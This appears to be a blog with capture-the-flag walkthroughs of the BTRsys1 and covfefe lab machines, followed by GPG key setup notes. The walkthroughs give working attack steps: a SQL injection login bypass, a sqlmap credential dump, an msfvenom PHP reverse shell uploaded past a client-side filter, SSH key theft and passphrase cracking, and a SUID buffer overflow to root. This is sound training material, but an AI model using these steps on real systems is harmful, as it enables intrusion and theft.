(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://10.10.7.22/javascript/ ----
==&gt; DIRECTORY: http://10.10.7.22/javascript/jquery/
==&gt; DIRECTORY: http://10.10.7.22/javascript/jquery-ui/

---- Entering directory: http://10.10.7.22/uploads/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://10.10.7.22/javascript/jquery/ ----
+ http://10.10.7.22/javascript/jquery/jquery (CODE:200|SIZE:252879)
+ http://10.10.7.22/javascript/jquery/version (CODE:200|SIZE:5)

---- Entering directory: http://10.10.7.22/javascript/jquery-ui/ ----
==&gt; DIRECTORY: http://10.10.7.22/javascript/jquery-ui/css/
+ http://10.10.7.22/javascript/jquery-ui/jquery-ui (CODE:200|SIZE:434343)
==&gt; DIRECTORY: http://10.10.7.22/javascript/jquery-ui/themes/
==&gt; DIRECTORY: http://10.10.7.22/javascript/jquery-ui/ui/

---- Entering directory: http://10.10.7.22/javascript/jquery-ui/css/ ----

---- Entering directory: http://10.10.7.22/javascript/jquery-ui/themes/ ----
==&gt; DIRECTORY: http://10.10.7.22/javascript/jquery-ui/themes/base/

---- Entering directory: http://10.10.7.22/javascript/jquery-ui/ui/ ----
==&gt; DIRECTORY: http://10.10.7.22/javascript/jquery-ui/ui/i18n/

---- Entering directory: http://10.10.7.22/javascript/jquery-ui/themes/base/ ----
==&gt; DIRECTORY: http://10.10.7.22/javascript/jquery-ui/themes/base/images/
+ http://10.10.7.22/javascript/jquery-ui/themes/base/jquery-ui (CODE:200|SIZE:32266)

---- Entering directory: http://10.10.7.22/javascript/jquery-ui/ui/i18n/ ----

---- Entering directory: http://10.10.7.22/javascript/jquery-ui/themes/base/images/ ----

-----------------
END_TIME: Fri Dec 15 15:02:00 2017
DOWNLOADED: 204580 - FOUND: 5

There are a few things to notice here. First is that dirb seems to have missed login.php. This is why it’s really helpful to use the two tools together. The likely reason that is missed login.php (login is definitely in the wordlist) is that dirb is searching for a hit at http://10.10.7.22/login but our target is using php, and the pages therefore have .php as an extension. If we were to repeat the scan with the -X flag to add a file extension, we will see several files appear that didn’t before.

dirb http://10.10.7.22/ /usr/share/wordlists/dirb/big.txt -X .php

dirb http://10.10.7.22/ /usr/share/wordlists/dirb/big.txt -X .php
-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Fri Dec 15 17:41:04 2017
URL_BASE: http://10.10.7.22/
WORDLIST_FILES: /usr/share/wordlists/dirb/big.txt
EXTENSIONS_LIST: (.php) | (.php) [NUM = 1]

-----------------

GENERATED WORDS: 20458

---- Scanning URL: http://10.10.7.22/ ----
+ http://10.10.7.22/config.php (CODE:200|SIZE:2)
+ http://10.10.7.22/index.php (CODE:200|SIZE:758)
+ http://10.10.7.22/login.php (CODE:200|SIZE:4561)

-----------------
END_TIME: Fri Dec 15 17:41:17 2017
DOWNLOADED: 20458 - FOUND: 3

Let’s take a look at login.php.

If we look at the source for this page, we see a script at the bottom which performs some input sanitation to try and prevent SQL injection. Unfortunately for the target, their solution is pretty weak and is easily avoided.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function control(){
var user = document.getElementById("user").value;
var pwd = document.getElementById("pwd").value;

var str=user.substring(user.lastIndexOf("@")+1,user.length);

if((pwd == "'")){
alert("Hack Denemesi !!!");

}
else if (str!="btrisk.com"){
alert("Yanlis Kullanici Bilgisi Denemektesiniz");

}
else{

document.loginform.submit();
}
}

The script performs two checks before submitting the login form and throws an error if either of them are tripped. The first check is whether or not the password being submitted is a single quote (‘). The second check is whether or not the username contains btrisk.com. Simple enough. By submitting username “btrisk.com” and password “a’ or 1=1;#” (not including the double quotes) the portal will log us in and present us with the next page:

EDIT: When redoing all of this for this write-up, the file upload page that we cover later on in the write-up magically began appearing.  The first time that I did any of this, it did not.  I tried clearing caches and cookies but it showed up every time.  If you do not see a button to upload a file, ignore this edit and continue.  If you do see one, you could skip down to the file upload portion, but I’d recommend continuing to follow the guide for some sqlmap password dumping goodness!  Either way, know that your web page may not look quite like the one above.  As long as the URL says /personel.php then chances are that you’re in the correct place.

We now know that the portal is vulnerable to SQLi. At this point I pulled out a tool called sqlmap to do the heavy lifting. sqlmap automates the whole injection process for you and can be used to dump some pretty handy information.

sqlmap -u 'http://10.10.7.22:80/personel.php' --data='kullanici_adi=btrisk.com&amp;parola=btrisk.com' --level=3 --risk=3 --tables --dbs --columns --dump
        ___
       __H__
 ___ ___["]_____ ___ ___  {1.1.12#stable}
|_ -| . ["]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 15:40:01

[15:40:02] [INFO] resuming back-end DBMS 'mysql'
[15:40:02] [INFO] testing connection to the target URL
[15:40:02] [INFO] heuristics detected web page charset 'ascii'
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: kullanici_adi (POST)
    Type: UNION query
    Title: Generic UNION query (NULL) - 9 columns
    Payload: kullanici_adi=lPmV' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(CONCAT('qvqzq','gzvTEybPtEhGrVJZSjungxLbHEzqbluthgFduNEB'),'qjzqq'),NULL-- jKCi&parola=
---
[15:40:02] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL 5
[15:40:02] [INFO] fetching database names
available databases [4]:
[*] deneme
[*] information_schema
[*] mysql
[*] performance_schema

[15:40:02] [INFO] fetching tables for databases: 'deneme, information_schema, mysql, performance_schema'
Database: deneme
...
!!Abbreviated Output!!
...
[15:40:02] [INFO] fetching columns for table 'user' in database 'deneme'
[15:40:02] [INFO] fetching entries for table 'user' in database 'deneme'
Database: deneme
Table: user
[2 entries]
+----+-----------+---------+---------+-------------+-------------+-------------+--------------+------------------+
| ID | Parola | BabaAdi | AnneAdi | Ad_Soyad | AnneMeslegi | BabaMeslegi | KardesSayisi | Kullanici_Adi |
+----+-----------+---------+---------+-------------+-------------+-------------+--------------+------------------+
| 1 | asd123*** | ahmet | nazli | ismail kaya | lokantaci | muhasebe | 5 | ikaya@btrisk.com |
| 2 | asd123*** | mahmut | gulsah | can demir | tuhafiyeci | memur | 8 | cdmir@btrisk.com |
+----+-----------+---------+---------+-------------+-------------+-------------+--------------+------------------+

[15:40:02] [INFO] table 'deneme.`user`' dumped to CSV file '/root/.sqlmap/output/10.10.7.22/dump/deneme/user.csv'
[15:40:02] [INFO] fetched data logged to text files under '/root/.sqlmap/output/10.10.7.22'

[*] shutting down at 15:40:02

Notice towards the end of the above abbreviated output, that there is a user table with two entries. If you haven’t noticed by now, the box is in Turkish. So it may be useful to know the following translations…

Parola Baba Adi Anne Adi Ad Soyad Anne Meslegi Baba Meslegi Kardes Sayisi Kullanici Adi
Password Father’s Name Mother’s Name Name Surname Mother’s Occupation Father’s Occupation Number of Brothers User’s Name

Looking at the user table again, it looks like we have two user names and passwords that appear to be in plain text! Returning to the login portal at /login.php, if we log in with the first set of creds (ikaya@btrisk.com:asd123***), then we’re brought back to the /personel.php page but this time there is a file upload form present.

If we take a look at the page’s source, we once again see some javascript at the bottom, this time handling the file upload.

1
2
3
4
5
6
7
8
9
10
11
12
13
// accept=".jpg,.png"
function getFile(){
var filename = document.getElementById("dosya").value;
var sonuc = ((/[.]/.exec(filename)) ? /[^.]+$/.exec(filename) : undefined);
if((sonuc == "jpg") || (sonuc == "gif") || (sonuc == "png")){
document.myform.submit();
}else{
//mesaj
alert("Yanlizca JPG,PNG dosyalari yukleyebilirsiniz.");
return false;

}
}

Looks like they are only allowing .jpg, .png, and .gif files to be uploaded. This is pretty normal, it keeps users from uploading malicious things like php code that could generate a reverse shell (hint). Unfortunately for them, they are performing this check on the client side. This means that we can intercept the POST containing our file, and rename it to whatever we want. So if the page only allows images and we want to upload a .php file, we can name it with an image extension, intercept the POST and change that extension back to .php, and the server will treat it just like any other .php file. Let’s give it a try.

First we’ll generate our payload. We want to create a reverse tcp shell so that we can gain access to the box. Using msfvenom, we can create a payload that will open a meterpreter instance that we can interact with via metasploit. Set the port and IP that your test machine will listen on for the target to connect to.

1
msfvenom -p php/meterpreter/reverse_tcp LPORT=52801 LHOST=10.10.7.17 -o rshell.jpg

Next, edit the file and remove the /* at the beginning of the file:

1
/*<!--?php /**/ error_reporting(0); $ip = '10.10.7.17'; $port = 52801; if (.......&lt;br ?-->

should change to:

1
<!--?php /**/ error_reporting(0); $ip = '10.10.7.17'; $port = 52801; if (.......&lt;br ?-->

Now, if we upload this file, the form will allow it because it thinks that the file is an image. But before we click ‘Gonder’ we need to set ourselves up to intercept the POST. There are many ways to do this, I like to use a firefox extension called tamper data (downloadable here). It’s simple, easy to use, and one less program that I need to have open. Once it’s installed, just go to tools and click on tamper data.

Click start tamper. Now we can click ‘Gonder’ to upload our file. We should see a message like the one below. Click tamper.

You will most likely see similar messages that are going to other URLs pop up while you are tampering. Just submit them. You only need to worry about the one that is going to your target IP. Now we will edit the message in order to change the file extension from jpg to php as seen below.

Once complete, click submit, and you can now stop tampering. You should see a new screen indicating that the file was uploaded. You can also now navigate to /uploads/ and you should see your file there.

Our payload is on the target. Now, before we execute it, we need to set our machine up so that it can handle the incoming request from the payload. Open up metasploit and wait for it to start up.

1
msfconsole

Once it is open, we need to use the multi/handler module. This is a particularly useful metasploit module that is capable of connecting the framework to payloads that are launched from outside of it (as in our case where we manually uploaded the payload and will execute it ourselves). To use and configure the payload, perform the following:

1
2
3
4
5
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set LHOST 10.10.7.17
set LPORT 52801
run

Of course, change the above to match your own environment. It is imperative that the settings match those in the msfvenom command that we executed above, otherwise it will likely fail. If you have entered run, you should see something like the below

msf exploit(multi/handler) &gt; run

[*] Started reverse TCP handler on 10.10.7.17:52801

This indicates that the handler is active and listening on 10.10.7.17:52801. Now, in your browser, either navigate to http://10.10.7.22/rshell.php or simply click on the file from the /uploads/ page. This will execute the code that it contains, and generate a reverse shell to your metasploit instance. A successful execution will look similar to the below:

msf exploit(multi/handler) &gt; run

[*] Started reverse TCP handler on 10.10.7.17:52801
[*] Sending stage (37543 bytes) to 10.10.7.22
[*] Meterpreter session 3 opened (10.10.7.17:52801 -&gt; 10.10.7.22:51767) at 2017-12-15 23:01:40 -0500

meterpreter &gt;

There are a number of commands available from here, just type shell and hit enter to get a shell on the target machine. The next step is to improve the limited shell that we now have. For example, if you were to try to use sudo, it would fail. The following line is extremely useful and works almost every time.

python -c 'import pty; pty.spawn("/bin/bash")'
meterpreter &gt; shell
Process 4267 created.
Channel 0 created.
python -c 'import pty; pty.spawn("/bin/bash")'
www-data@BTRsys1:/var/www/html/uploads$

Escalation

You should now have a familiar looking BASH shell. We are currently operating as user www-data. At this point we would begin to gather data from the machine itself and try to find a privilege escalation exploit. But one thing I always try in the lab is seeing if any of the creds that I already have have been reused, or if the current user can simply sudo su to root. Chances of www-data being given sudo privileges are next to nil. But what about that password that both of the web users were using? Perhaps it was reused?

www-data@BTRsys1:/var/www/html/uploads$ su -
su -
Password: asd123***

root@BTRsys1:~#

And we have root. This is why I always try to remember to check what I already have to see if any of it works. There’s no sense in crawling the system trying to enumerate vulnerabilities that may or may not even exist if I already have the key in my back pocket. It can end up saving hours of pain and wasted effort. at this point, we have accomplished the goal of the box, we now have root. You can search for other data at this point, try to crack the hashes in /etc/shadow (we already know one of them!), etc. Overall, a good, friendly boot2root that touches on some good web vulnerabilities. For extra challenge, don’t use sqlmap and see if you can figure out how to get the same information. Props to ismailonderkaya on the box, I enjoyed it!

Walkthrough – covfefe

This turned out to be a pretty easy box, and a friendly way to ease back into things.  You can download it here.  It is configured to use DHCP to automatically pull an IP, so once you find that IP, you’re good to start.

Scanning

There are tons of ways to do that, but I like to just use nmap’s ping scan. Since my test environment is really only going to have two hosts on it (Kali and the target), it’s pretty trivial to identify the target.

nmap -sn 10.10.7.0/27

...
Nmap scan report for 10.10.7.17
Host is up.
...

An alternative would be to use  arp-scan.  It sends an Address Resolution Protocol packet to each potential target on the local area network and prints out what addresses responded.  A drawback to using this command, though, is that ARP packets are not routable, so your target would have to be located on the LAN in order for it to work.  This is not a problem for us, both of our hosts are on the same LAN, so we should see our target in the output:

1
arp-scan -I eth1 -l
1
2
3
4
5
6
7
8
Interface: eth1, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.9 with 32 hosts (http://www.nta-monitor.com/tools/arp-scan/)
10.10.7.1 00:50:56:c0:00:01 VMware, Inc.
10.10.7.19 00:0c:29:49:8a:22 VMware, Inc.
10.10.7.30 00:50:56:f2:2b:81 VMware, Inc.

3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9: 32 hosts scanned in 1.476 seconds (21.68 hosts/sec). 3 responded

You can see above that 10.10.7.19 was discovered, just as in our nmap scan.

Next step is to gather some information on the target.  Below is the output from telling nmap to scan all TCP ports on the target.

1
nmap -p 1-65535 -T4 -A -v 10.10.7.19
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
Starting Nmap 7.60 ( https://nmap.org ) at 2017-12-14 15:39 EST
NSE: Loaded 146 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 15:39
Completed NSE at 15:39, 0.00s elapsed
Initiating NSE at 15:39
Completed NSE at 15:39, 0.00s elapsed
Initiating ARP Ping Scan at 15:39
Scanning 10.10.7.19 [1 port]
Completed ARP Ping Scan at 15:39, 0.00s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 15:39
Completed Parallel DNS resolution of 1 host. at 15:39, 13.00s elapsed
Initiating SYN Stealth Scan at 15:39
Scanning 10.10.7.19 [65535 ports]
Discovered open port 22/tcp on 10.10.7.19
Discovered open port 80/tcp on 10.10.7.19
Discovered open port 31337/tcp on 10.10.7.19
Completed SYN Stealth Scan at 15:39, 1.87s elapsed (65535 total ports)
Initiating Service scan at 15:39
Scanning 3 services on 10.10.7.19
Completed Service scan at 15:39, 6.06s elapsed (3 services on 1 host)
Initiating OS detection (try #1) against 10.10.7.19
NSE: Script scanning 10.10.7.19.
Initiating NSE at 15:39
Completed NSE at 15:39, 0.46s elapsed
Initiating NSE at 15:39
Completed NSE at 15:39, 0.00s elapsed
Nmap scan report for 10.10.7.19
Host is up (0.00025s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10 (protocol 2.0)
| ssh-hostkey:
| 2048 d0:6a:10:e0:fb:63:22:be:09:96:0b:71:6a:60:ad:1a (RSA)
| 256 ac:2c:11:1e:e2:d6:26:ea:58:c4:3e:2d:3e:1e:dd:96 (ECDSA)
|_ 256 13:b3:db:c5:af:62:c2:b1:60:7d:2f:48:ef:c3:13:fc (EdDSA)
80/tcp open http nginx 1.10.3
| http-methods:
|_ Supported Methods: GET HEAD
|_http-server-header: nginx/1.10.3
|_http-title: Welcome to nginx!
31337/tcp open http Werkzeug httpd 0.11.15 (Python 3.5.3)
| http-robots.txt: 3 disallowed entries
|_/.bashrc /.profile /taxes
|_http-server-header: Werkzeug/0.11.15 Python/3.5.3
|_http-title: 404 Not Found
MAC Address: 00:0C:29:49:8A:22 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.8
Uptime guess: 0.019 days (since Thu Dec 14 15:12:48 2017)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=259 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 0.25 ms 10.10.7.19

NSE: Script Post-scanning.
Initiating NSE at 15:39
Completed NSE at 15:39, 0.00s elapsed
Initiating NSE at 15:39
Completed NSE at 15:39, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.35 seconds
Raw packets sent: 65558 (2.885MB) | Rcvd: 65550 (2.623MB)

Key to note are ports 22, 80, and 31337.  The target is running SSH and two different web servers.  By including the -A flag in the command, we gather information about the services that are running behind the ports, and what versions they likely are.

Knowing all of the publicly available services that are running and their versions, I now turned to searchsploit to see if there are any potential exploits that could be used against any of them. Only Werkzeug turned up any possibilities. Apparently there is a metasploit module that can exploit the services debugger console to generate a python shell.  The exploit only works for versions 0.10 and older, and also requires that the debugger consoleis still in use (which it should not be).  The target is running Werkzeug 0.11.15, and is therefore not vulnerable.

Port :80

The service running on port 80 turns out to be a default nginx installation, but I ran nikto and dirb against it just to be sure. Unfortunately, they both returned nothing.

1
nikto --host=http://10.10.7.19/
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 10.10.7.19
+ Target Hostname: 10.10.7.19
+ Target Port: 80
+ Start Time: 2017-12-14 15:41:08 (GMT-5)
---------------------------------------------------------------------------
+ Server: nginx/1.10.3
+ Server leaks inodes via ETags, header found with file /, fields: 0x595393fa 0x264
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ 7517 requests: 0 error(s) and 4 item(s) reported on remote host
+ End Time: 2017-12-14 15:41:25 (GMT-5) (17 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
1
dirb http://10.10.7.19
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Thu Dec 14 15:41:15 2017
URL_BASE: http://10.10.7.19/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://10.10.7.19/ ----

-----------------
END_TIME: Thu Dec 14 15:41:18 2017
DOWNLOADED: 4612 - FOUND: 0

Port :31337

The service running on port 31337 was interesting. Browsing to it yielded a 404 error, however robots.txt, nikto, and dirb returned some promising results.

1
nikto --host=http://10.10.7.19:31337/
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 10.10.7.19
+ Target Hostname: 10.10.7.19
+ Target Port: 31337
+ Start Time: 2017-12-14 15:45:18 (GMT-5)
---------------------------------------------------------------------------
+ Server: Werkzeug/0.11.15 Python/3.5.3
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Server leaks inodes via ETags, header found with file /robots.txt, inode: 0x1499600596.267103, size: 0x70, mtime: 0x1587808388
+ Entry '/.bashrc' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/.profile' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/taxes/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ "robots.txt" contains 3 entries which should be manually viewed.
+ Allowed HTTP Methods: OPTIONS, HEAD, GET
+ OSVDB-3093: /.bashrc: User home dir was found with a shell rc file. This may reveal file and path information.
+ OSVDB-3093: /.bash_history: A user's home directory may be set to the web root, the shell history was retrieved. This should not be accessible via the web.
+ OSVDB-3093: /.profile: User home dir with a shell profile was found. May reveal directory information and system configuration.
+ OSVDB-3093: /.ssh: A user's home directory may be set to the web root, an ssh file was retrieved. This should not be accessible via the web.
+ OSVDB-3093: /.ssh/authorized_keys: A user's home directory may be set to the web root, an ssh file was retrieved. This should not be accessible via the web.
+ 7534 requests: 13 error(s) and 14 item(s) reported on remote host
+ End Time: 2017-12-14 15:45:46 (GMT-5) (28 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Nikto alerts us to the contents of the robots.txt file that we already viewed.  It also notifies us that there are several other files and directories available, all of which are normally found in a user’s home directory.  The web server is therefore likely hosting a home directory from the target box.

Nikto also lists the potential information that can be gained from several of these files.  For example, .profile may reveal directory and system configuration information.

Using dirb to help ensure that nothing else is missed, we get the same hits that nikto already identified.

1
dirb http://10.10.7.19:31337/ /usr/share/wordlists/dirb/big.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Thu Dec 14 15:46:29 2017
URL_BASE: http://10.10.7.19:31337/
WORDLIST_FILES: /usr/share/dirb/wordlists/big.txt

-----------------

GENERATED WORDS: 20458

---- Scanning URL: http://10.10.7.19:31337/ ----
+ http://10.10.7.19:31337/.bash_history (CODE:200|SIZE:19)
+ http://10.10.7.19:31337/.bashrc (CODE:200|SIZE:3526)
+ http://10.10.7.19:31337/.profile (CODE:200|SIZE:675)
+ http://10.10.7.19:31337/.ssh (CODE:200|SIZE:43)
+ http://10.10.7.19:31337/robots.txt (CODE:200|SIZE:70)
==&gt; DIRECTORY: http://10.10.7.19:31337/taxes/

---- Entering directory: http://10.10.7.19:31337/taxes/ ----

-----------------
END_TIME: Thu Dec 14 15:47:46 2017
DOWNLOADED: 40916 - FOUND: 5

Taking a look at the files that are available, .bash_history turns up an interesting command called read_message, so we’ll file this away for later. The biggest thing is the fact that there appear to be SSH keys (both private and public) as well as an authorized_keys file available for download in the /.ssh/ directory.

Using wget, we can quickly try to download those files and take a look at their contents.

wget http://10.10.7.19:31337/.ssh/authorized_keys
wget http://10.10.7.19:31337/.ssh/id_rsa.pub
wget http://10.10.7.19:31337/.ssh/id_rsa

Don’t forget to take a look at /taxes/ though!  Here we find our first flag!

Access?

Taking a look at the public key, id_rsa.pub, indicates that the key is for the user simon@covfefe. Double checking the authorized_keys file, we see that simon’s public key is included. This means that we should be able to use the private key to SSH into simon’s profile on the target machine.

1
ssh -i id_rsa simon@10.10.7.19

Unfortunately, the keys require a password. This is a perfect example of why you should always use a password with your SSH keys. We were able to acquire simon’s private key, and have access to his machine, but still can’t log in as simon because we don’t know his password. Let’s figure out his password!

You can use john to crack the passwords associated with ssh keys! First, convert the private key into a format that john can utilize with ssh2john, then run john with a wordlist.

ssh2john id_rsa &gt; shadow
1
2
3
4
5
6
7
8
zcat /usr/share/wordlists/rockyou.txt.gz | john --pipe --rules shadow
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA 32/64])
Press Ctrl-C to abort, or send SIGUSR1 to john process for status
starwars (id_rsa)
1g 0:00:00:00 9.090g/s 6081p/s 6081c/s 6081C/s starwars
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Access.

While simon was smart by including a password with his ssh keys, it seems he used a weak one, so it ultimately did nothing for him. Now, we should be able to log in.

1
ssh -i id_rsa simon@10.10.7.19

Now that we’re on the machine, let’s take a look around. There doesn’t seem to be anything unusual in simon’s home directory. I also pulled down copies of /etc/passwd and /etc/group just in case I needed them later on. Checking them, it seems like simon is the only user on this machine. Sudo is not installed, so we can’t try to sudo su our way to root.

Turns out, /root/ is also readable by simon. It contains a file called flag.txt that we can’t read and one called . This reminded me of the command that we saw in the .bash_history file being hosted by the :31337 service. First I tried running the program to see what happened. Providing it with the name Simon prints out a message telling me to check out the source code in /root/. Okay. But first, let’s locate the actual binary that is being run.

find / read_message 2&gt;/dev/null | grep read_message
/usr/local/bin/read_message
/root/read_message.c

Then let’s see what permissions are associated with it.

ls -Al /usr/local/bin/read_message
-rwsr-xr-x 1 root staff 7608 Jul 2 18:22 /usr/local/bin/read_message

As I expected (hoped), the SUID bit is set. That’s the little s you see where you would normally find x. This means that when the command is run, it will be run as if the OWNER was running it, not the active user. With root being the user, this means that no matter who runs the command, it will be run as root. Good to know.

Now to take  look at the source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include
#include
#include

// You're getting close! Here's another flag:
// flag2{use_the_source_luke}

int main(int argc, char *argv[]) {
char program[] = "/usr/local/sbin/message";
char buf[20];
char authorized[] = "Simon";

printf("What is your name?\n");
gets(buf);

// Only compare first five chars to save precious cycles:
if (!strncmp(authorized, buf, 5)) {
printf("Hello %s! Here is your message:\n\n", buf);
// This is safe as the user can't mess with the binary location:
execve(program, NULL, NULL);
} else {
printf("Sorry %s, you're not %s! The Internet Police have been informed of this violation.\n", buf, authorized);
exit(EXIT_FAILURE);
}

}

A few things to pull out here are lines 6, 9, 10, 11, and 20.
Line 6 is flag 2!
Line 9 is the program that read_message will execute if given an authorized user.
Line 10 allocates a buffer of size 20 to accept user input
Line 11 indicates the only acceptable user input
Line 20 executes the command defined at line 9

Escalation

Disclaimer: I am very rusty with buffer / stack overflows. But when I looked at the code, it immediately looked like there might be a vulnerability with how the username was read in by the program. The program reads the username, checks to see if it is an authorized user, and if so then it executes a different command. Now the correct way to do this probably would’ve been to run a debugger and see what is actually happening in the memory when you use it. But as I said, I’m pretty rusty on how to do all of this, and since I was pretty sure I knew how to attack the overflow, I just decided to go for it. You can see in the code at line 10 that a buffer size of 20 is allocated for the username. So I ran read_message and fed it Simon followed by 15 a’s and then the command that I actually wanted it to run. I lucked out majorly, and this worked. By replacing /usr/local/sbin/message with /bin/sh, instead of /usr/local/sbin/message being run with root privileges, /bin/sh is run as root, and we end up with an interactive shell. A quick check confirms that we now have root! This means that we can read our final flag file at /root/flag.txt to get our final flag and do whatever else we want.

Just for kicks, I copied /etc/shadow and ran john against it. Turns out simon’s password is starwars again. Stop reusing passwords, people. I eventually gave up and never did crack root’s password; if anyone else got it, I’d be interested to know what it was!

That completes this box. As I said, it was pretty simple, but fun. I particularly appreciated the variety that it provided while remaining pretty easy. Kudos to Tim Kent on a fun box!

gpg

First things first, I have no prior experience with GNU Privacy Guard (GPG). I’ve been aware of it, and familiar with its purpose, but I have never actually used it. Time to change that! In carrying out most of this, I followed a guide here

apt update
apt install gnupg

Create a key pair

gpg --gen-key

Choose (1) RSA and RSA, set a keysize, and determine an expiration
Enter your information, and generate the key

gpg (GnuPG) 1.4.20; Copyright (C) 2015 Free Software Foundation, Inc.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

gpg: directory `/home/user/.gnupg' created
gpg: new configuration file `/home/user/.gnupg/gpg.conf' created
gpg: WARNING: options in `/home/user/.gnupg/gpg.conf' are not yet active during this run
gpg: keyring `/home/user/.gnupg/secring.gpg' created
gpg: keyring `/home/user/.gnupg/pubring.gpg' created
Please select what kind of key you want:
(1) RSA and RSA (default)
(2) DSA and Elgamal
(3) DSA (sign only)
(4) RSA (sign only)
Your selection? 1
RSA keys may be between 1024 and 4096 bits long.
What keysize do you want? (2048) 4096
Requested keysize is 4096 bits
Please specify how long the key should be valid.
0 = key does not expire
= key expires in n days
w = key expires in n weeks
m = key expires in n months
y = key expires in n years
Key is valid for? (0) 0
Key does not expire at all
Is this correct? (y/N) y

You need a user ID to identify your key; the software constructs the user ID
from the Real Name, Comment and Email Address in this form:
"Heinrich Heine (Der Dichter) &lt;heinrichh@duesseldorf.de&gt;"

Real name: User Name
Email address: your_email@address.com
Comment: <comment>
You selected this USER-ID:
"User Name (comment) &lt;your_email@address.com&gt;"

Change (N)ame, (C)omment, (E)mail or (O)kay/(Q)uit? o
You need a Passphrase to protect your secret key.

We need to generate a lot of random bytes. It is a good idea to perform
some other action (type on the keyboard, move the mouse, utilize the
disks) during the prime generation; this gives the random number
generator a better chance to gain enough entropy.
.+++++
......+++++
We need to generate a lot of random bytes. It is a good idea to perform
some other action (type on the keyboard, move the mouse, utilize the
disks) during the prime generation; this gives the random number
generator a better chance to gain enough entropy.
.....................+++++
....+++++
gpg: /home/user/.gnupg/trustdb.gpg: trustdb created
gpg: key ████████ marked as ultimately trusted
public and secret key created and signed.

gpg: checking the trustdb
gpg: 3 marginal(s) needed, 1 complete(s) needed, PGP trust model
gpg: depth: 0 valid: 1 signed: 0 trust: 0-, 0q, 0n, 0m, 0f, 1u
pub 4096R/4F2220F6 2017-12-06
Key fingerprint = ████ ████ ████ ████ ████ ████ ████ ████ ████ ████
uid User Name (comment) &lt;your_email@address.com&gt;
sub █████/███████ 2017-12-06

Create revocation certificate

gpg --output ~/revocation.crt --gen-revoke your_email@address.com

Select the reason for the revocation (I chose 0)

gpg --output revocation.crt --gen-revoke your_email@address.com
sec █████/████████ 2017-12-06 User Name (comment) &lt;your_email@address.com&gt;

Create a revocation certificate for this key? (y/N) y
Please select the reason for the revocation:
0 = No reason specified
1 = Key has been compromised
2 = Key is superseded
3 = Key is no longer used
Q = Cancel
(Probably you want to select 1 here)
Your decision? 0
Enter an optional description; end it with an empty line:
&gt; revocation certificate for your_email@address.com key
&gt;
Reason for revocation: No reason specified
revocation certificate for your_email@address.com key
Is this okay? (y/N) y

You need a passphrase to unlock the secret key for
user: "User Name (comment) &lt;your_email@address.com&gt;"
4096-bit RSA key, ID ████████, created 2017-12-06

gpg: gpg-agent is not available in this session
ASCII armored output forced.
Revocation certificate created.

Please move it to a medium which you can hide away; if Mallory gets
access to this certificate he can use it to make your key unusable.
